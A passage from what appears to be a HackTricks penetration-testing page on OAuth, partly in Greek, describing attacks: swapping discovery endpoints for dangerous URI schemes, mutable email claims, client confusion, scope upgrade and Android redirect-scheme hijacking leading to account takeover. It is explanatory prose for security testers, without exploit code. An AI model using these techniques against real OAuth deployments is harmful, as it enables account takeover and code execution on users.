  • Υποκλέψτε ή φιλοξενήστε την discovery response και αντικαταστήστε τα authorization_endpoint, device_authorization_endpoint, ή παρόμοια πεδία με file://, cmd://, UNC paths, ή άλλα επικίνδυνα schemes.
  • Παρατηρήστε εάν ο client επαληθεύει το scheme/host. Η έλλειψη επαλήθευσης έχει ως αποτέλεσμα άμεση εκτέλεση υπό το context του χρήστη και αποδεικνύει το πρόβλημα.
  • Επαναλάβετε με διαφορετικά schemes για να χαρτογραφήσετε ολόκληρη την attack surface (π.χ., ms-excel:, data:text/html,, custom protocol handlers) και να δείξετε cross-platform επίδραση.

OAuth providers Race Conditions

If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:

  • Some Authorization Servers do not ensure that these properties (like email) remain immutable.
  • In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
  • An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
  • Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// oauth is caught based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

References

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks